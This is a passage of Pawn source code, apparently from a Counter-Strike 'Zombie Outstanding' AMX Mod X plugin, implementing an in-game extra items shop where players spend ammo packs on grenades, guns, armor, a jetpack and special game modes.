4206 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 128 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
4207 {
4208 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4209 return 0;
4210 }
4211 MakeHuman(iPlayer, false, false);
4212 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4213 }
4214 case 1:
4215 {
4216 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4217 {
4218 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4219 return 0;
4220 }
4221 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4222 {
4223 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4224 return 0;
4225 }
4226 if (user_has_weapon(iPlayer, 4, -1))
4227 {
4228 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4229 }
4230 else
4231 {
4232 give_item(iPlayer, "weapon_hegrenade");
4233 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4234 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4235 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Fire Grenade!");
4236 }
4237 }
4238 case 2:
4239 {
4240 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4241 {
4242 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4243 return 0;
4244 }
4245 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4246 {
4247 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4248 return 0;
4249 }
4250 if (user_has_weapon(iPlayer, 25, -1))
4251 {
4252 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4253 }
4254 else
4255 {
4256 give_item(iPlayer, "weapon_flashbang");
4257 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4258 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4259 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Freeze Grenade!");
4260 }
4261 }
4262 case 3:
4263 {
4264 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4265 {
4266 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4267 return 0;
4268 }
4269 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4270 {
4271 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4272 return 0;
4273 }
4274 if (user_has_weapon(iPlayer, 9, -1))
4275 {
4276 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4277 }
4278 else
4279 {
4280 give_item(iPlayer, "weapon_smokegrenade");
4281 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4282 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4283 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Grenade!");
4284 }
4285 }
4286 case 4:
4287 {
4288 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4289 {
4290 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4291 return 0;
4292 }
4293 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4294 {
4295 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4296 return 0;
4297 }
4298 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
4299 {
4300 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4301 return 0;
4302 }
4303 if (user_has_weapon(iPlayer, 4, -1))
4304 {
4305 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4306 }
4307 else
4308 {
4309 give_item(iPlayer, "weapon_hegrenade");
4310 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4311 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4312 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
4313 }
4314 }
4315 case 5:
4316 {
4317 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4318 {
4319 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4320 return 0;
4321 }
4322 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4323 {
4324 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4325 return 0;
4326 }
4327 if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetZombies())
4328 {
4329 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't buy this item right now!");
4330 return 0;
4331 }
4332 if (user_has_weapon(iPlayer, 4, -1))
4333 {
4334 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one! [ Use your^3 Fire Grenade^1 before ]");
4335 }
4336 else
4337 {
4338 g_bKilling[iPlayer] = true;
4339 give_item(iPlayer, "weapon_hegrenade");
4340 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4341 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4342 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Killing Grenade!", g_cName[iPlayer]);
4343 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Killing Grenade", g_cName[iPlayer]);
4344 }
4345 }
4346 case 6:
4347 {
4348 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4349 {
4350 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4351 return 0;
4352 }
4353 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4354 {
4355 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4356 return 0;
4357 }
4358 if (user_has_weapon(iPlayer, 20, -1))
4359 {
4360 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4361 }
4362 else
4363 {
4364 drop_weapons(iPlayer, 1)
4365 give_item(iPlayer, "weapon_m249");
4366 cs_set_user_bpammo(iPlayer, 20, 9999);
4367 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4368 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4369 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
4370 }
4371 }
4372 case 7:
4373 {
4374 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4375 {
4376 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4377 return 0;
4378 }
4379 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4380 {
4381 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4382 return 0;
4383 }
4384 if (user_has_weapon(iPlayer, 24, -1))
4385 {
4386 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4387 }
4388 else
4389 {
4390 drop_weapons(iPlayer, 1)
4391 give_item(iPlayer, "weapon_g3sg1");
4392 cs_set_user_bpammo(iPlayer, 24, 9999);
4393 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4394 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4395 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
4396 }
4397 }
4398 case 8:
4399 {
4400 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4401 {
4402 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4403 return 0;
4404 }
4405 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4406 {
4407 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4408 return 0;
4409 }
4410 if (user_has_weapon(iPlayer, 13, -1))
4411 {
4412 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4413 }
4414 else
4415 {
4416 drop_weapons(iPlayer, 1)
4417 give_item(iPlayer, "weapon_sg550");
4418 cs_set_user_bpammo(iPlayer, 13, 9999);
4419 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4420 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4421 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
4422 }
4423 }
4424 case 9:
4425 {
4426 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4427 {
4428 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4429 return 0;
4430 }
4431 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4432 {
4433 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4434 return 0;
4435 }
4436 if (user_has_weapon(iPlayer, 18, -1))
4437 {
4438 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4439 }
4440 else
4441 {
4442 drop_weapons(iPlayer, 1)
4443 give_item(iPlayer, "weapon_awp");
4444 cs_set_user_bpammo(iPlayer, 18, 9999);
4445 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4446 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4447 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
4448 }
4449 }
4450 case 10:
4451 {
4452 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4453 {
4454 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4455 return 0;
4456 }
4457 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4458 {
4459 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4460 return 0;
4461 }
4462 if (g_bFlash[iPlayer])
4463 {
4464 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4465 }
4466 else
4467 {
4468 g_bFlashEnabled[iPlayer] = true;
4469 g_bFlash[iPlayer] = true;
4470 remove_task(iPlayer + 350, 0);
4471 set_task(10, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
4472 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4473 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4474 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
4475 }
4476 }
4477 case 11:
4478 {
4479 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4480 {
4481 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4482 return 0;
4483 }
4484 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4485 {
4486 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4487 return 0;
4488 }
4489 if (g_bNoDamage[iPlayer])
4490 {
4491 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4492 }
4493 else
4494 {
4495 g_bNoDamage[iPlayer] = true;
4496 client_cmd(iPlayer, "spk ZombieOutstanding/zombie_madness");
4497 fm_set_rendering ( iPlayer, kRenderFxGlowShell, 250, 0 , 0, kRenderNormal, 62 );
4498 set_task(4.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
4499 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4500 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4501 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
4502 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Zombie Madness", g_cName[iPlayer]);
4503 }
4504 }
4505 case 12:
4506 {
4507 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4508 {
4509 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4510 return 0;
4511 }
4512 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4513 {
4514 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4515 return 0;
4516 }
4517 if (get_user_jetpack(iPlayer))
4518 {
4519 user_drop_jetpack(iPlayer, 1);
4520 }
4521 set_user_jetpack(iPlayer, 1);
4522 set_user_fuel(iPlayer, 250.0);
4523 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4524 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 CTR+SPACE^1 to fly!");
4525 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Press^3 RIGHT CLICK^1 to shoot!");
4526 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4527 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4528 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
4529 }
4530 case 13:
4531 {
4532 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4533 {
4534 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4535 return 0;
4536 }
4537 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4538 {
4539 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4540 return 0;
4541 }
4542 if (g_bUnlimitedClip[iPlayer])
4543 {
4544 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4545 }
4546 else
4547 {
4548 g_bUnlimitedClip[iPlayer] = 1;
4549 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4550 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4551 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
4552 }
4553 }
4554 case 14:
4555 {
4556 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4557 {
4558 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4559 return 0;
4560 }
4561 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4562 {
4563 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4564 return 0;
4565 }
4566 if (120 < get_user_armor(iPlayer))
4567 {
4568 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4569 }
4570 else
4571 {
4572 set_user_armor(iPlayer, get_user_armor(iPlayer) + 100);
4573 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4574 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4575 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4576 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
4577 }
4578 }
4579 case 15:
4580 {
4581 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4582 {
4583 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4584 return 0;
4585 }
4586 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4587 {
4588 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4589 return 0;
4590 }
4591 if (120 < get_user_armor(iPlayer))
4592 {
4593 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4594 }
4595 else
4596 {
4597 set_user_armor(iPlayer, get_user_armor(iPlayer) + 200);
4598 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4599 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4600 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4601 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
4602 }
4603 }
4604 case 16:
4605 {
4606 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4607 {
4608 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4609 return 0;
4610 }
4611 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4612 {
4613 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4614 return 0;
4615 }
4616 g_iMaxJumps[iPlayer]++;
4617 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4618 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4619 ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iMaxJumps[iPlayer] + 1);
4620 }
4621 case 17:
4622 {
4623 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4624 {
4625 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4626 return 0;
4627 }
4628 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4629 {
4630 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4631 return 0;
4632 }
4633 if (g_bTryder[iPlayer])
4634 {
4635 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4636 }
4637 else
4638 {
4639 g_bTryder[iPlayer] = true;
4640 strip_user_weapons(iPlayer);
4641 set_user_armor(iPlayer, 666);
4642 set_user_health(iPlayer, 666);
4643 give_item(iPlayer, "weapon_knife");
4644 give_item(iPlayer, "weapon_deagle");
4645 give_item(iPlayer, "weapon_xm1014");
4646 give_item(iPlayer, "weapon_g3sg1");
4647 give_item(iPlayer, "weapon_ak47");
4648 give_item(iPlayer, "weapon_hegrenade");
4649 give_item(iPlayer, "weapon_flashbang");
4650 give_item(iPlayer, "weapon_smokegrenade");
4651 cs_set_user_bpammo(iPlayer, 26, 9999);
4652 cs_set_user_bpammo(iPlayer, 5, 9999);
4653 cs_set_user_bpammo(iPlayer, 24, 9999);
4654 cs_set_user_bpammo(iPlayer, 28, 9999);
4655 g_bUnlimitedClip[iPlayer] = 1;
4656 fm_set_rendering(iPlayer, kRenderFxGlowShell, 150, 0, 255, kRenderNormal, 10);
4657 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4658 set_pev(iPlayer, pev_gravity, 0.5);
4659 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4660 set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4661 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
4662 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 is now a^4 Tryder", g_cName[iPlayer]);
4663 }
4664 }
4665 case 18:
4666 {
4667 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4668 {
4669 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4670 return 0;
4671 }
4672 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4673 {
4674 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4675 return 0;
4676 }
4677 if (g_bGolden[iPlayer])
4678 {
4679 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4680 }
4681 else
4682 {
4683 g_bGolden[iPlayer] = true;
4684 if (60 > get_user_armor(iPlayer))
4685 {
4686 set_user_armor(iPlayer, 60);
4687 }
4688 if (175 > get_user_health(iPlayer))
4689 {
4690 set_user_health(iPlayer, 175);
4691 }
4692 if (!user_has_weapon(iPlayer, 28, -1))
4693 {
4694 give_item(iPlayer, "weapon_ak47");
4695 cs_set_user_bpammo(iPlayer, 28, 9999);
4696 }
4697 g_bUnlimitedClip[iPlayer] = 1;
4698 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4699 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4700 client_cmd(iPlayer, "weapon_ak47");
4701 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4702 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Kalashnikov (AK-47)", g_cName[iPlayer]);
4703 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Kalashnikov^3 (AK-47)", g_cName[iPlayer]);
4704 }
4705 }
4706 case 19:
4707 {
4708 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4709 {
4710 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4711 return 0;
4712 }
4713 if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
4714 {
4715 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 This item is not for your team!");
4716 return 0;
4717 }
4718 if (g_bGoldenDeagle[iPlayer])
4719 {
4720 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You already have one!");
4721 }
4722 else
4723 {
4724 g_bGoldenDeagle[iPlayer] = true;
4725 if (60 > get_user_armor(iPlayer))
4726 {
4727 set_user_armor(iPlayer, 60);
4728 }
4729 if (175 > get_user_health(iPlayer))
4730 {
4731 set_user_health(iPlayer, 175);
4732 }
4733 if (!user_has_weapon(iPlayer, 26, -1))
4734 {
4735 give_item(iPlayer, "weapon_deagle");
4736 cs_set_user_bpammo(iPlayer, 26, 9999);
4737 }
4738 g_bUnlimitedClip[iPlayer] = 1;
4739 client_cmd(iPlayer, "spk ZombieOutstanding/armor_equip");
4740 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4741 client_cmd(iPlayer, "weapon_deagle");
4742 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4743 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s has now a Golden Desert Eagle (Night Hawk)", g_cName[iPlayer]);
4744 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 has now a^4 Golden Desert Eagle^3 (Night Hawk)", g_cName[iPlayer]);
4745 }
4746 }
4747 case 20:
4748 {
4749 if (g_iSurvivors)
4750 {
4751 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a survivor this map!");
4752 return 0;
4753 }
4754 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4755 {
4756 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4757 return 0;
4758 }
4759 static cTime[3];
4760 static i;
4761 static bool:bDone;
4762 static Float:fGameTime;
4763 fGameTime = get_gametime();
4764 bDone = true;
4765 get_time("%H", cTime, 3);
4766 i = 0;
4767 while (i < g_iModeRecordings)
4768 {
4769 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4770 {
4771 bDone = false;
4772 }
4773 i += 1;
4774 }
4775 if (!bDone)
4776 {
4777 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4778 }
4779 else
4780 {
4781 if (fGameTime - g_fRoundStartTime < 3.0)
4782 {
4783 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4784 }
4785 if (cTime[0] == 48)
4786 {
4787 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Survivor^1 during night...");
4788 }
4789 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4790 {
4791 g_bRoundStart = false;
4792 remove_task(550, 0);
4793 StartSurvivorMode(iPlayer);
4794 remove_task(700, 0);
4795 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
4796 set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
4797 ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor!", g_cName[iPlayer]);
4798 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Survivor", g_cName[iPlayer]);
4799 copy(g_cModeRecordings[g_iModeRecordings], 32, g_cName[iPlayer]);
4800 g_iModeRecordings += 1;
4801 g_iSurvivors += 1;
4802 }
4803 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Sorry but you can't buy right now...");
4804 }
4805 }
4806 case 21:
4807 {
4808 if (g_iSnipers)
4809 {
4810 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 There already was a sniper this map!");
4811 return 0;
4812 }
4813 if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
4814 {
4815 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You don't have enough ammo packs!");
4816 return 0;
4817 }
4818 static cTime[3];
4819 static i;
4820 static bool:bDone;
4821 static Float:fGameTime;
4822 fGameTime = get_gametime();
4823 bDone = true;
4824 get_time("%H", cTime, 3);
4825 i = 0;
4826 while (i < g_iModeRecordings)
4827 {
4828 if (equali(g_cModeRecordings[i], g_cName[iPlayer], 0))
4829 {
4830 bDone = false;
4831 }
4832 i += 1;
4833 }
4834 if (!bDone)
4835 {
4836 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You^3 already bought^1 a game mode this map!");
4837 }
4838 else
4839 {
4840 if (fGameTime - g_fRoundStartTime < 3.0)
4841 {
4842 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 three seconds^1 after the round begining!");
4843 }
4844 if (cTime[0] == 48)
4845 {
4846 client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't be^3 Sniper^1 during night...");
4847 }
4848 if (g_iRoundsCount > 4 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
4849 {
4850 g_bRoundStart = false;
4851 remove_task(550, 0);
4852 StartSniperMode(iPlayer);
4853 remove_task(700, 0);
4854 g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
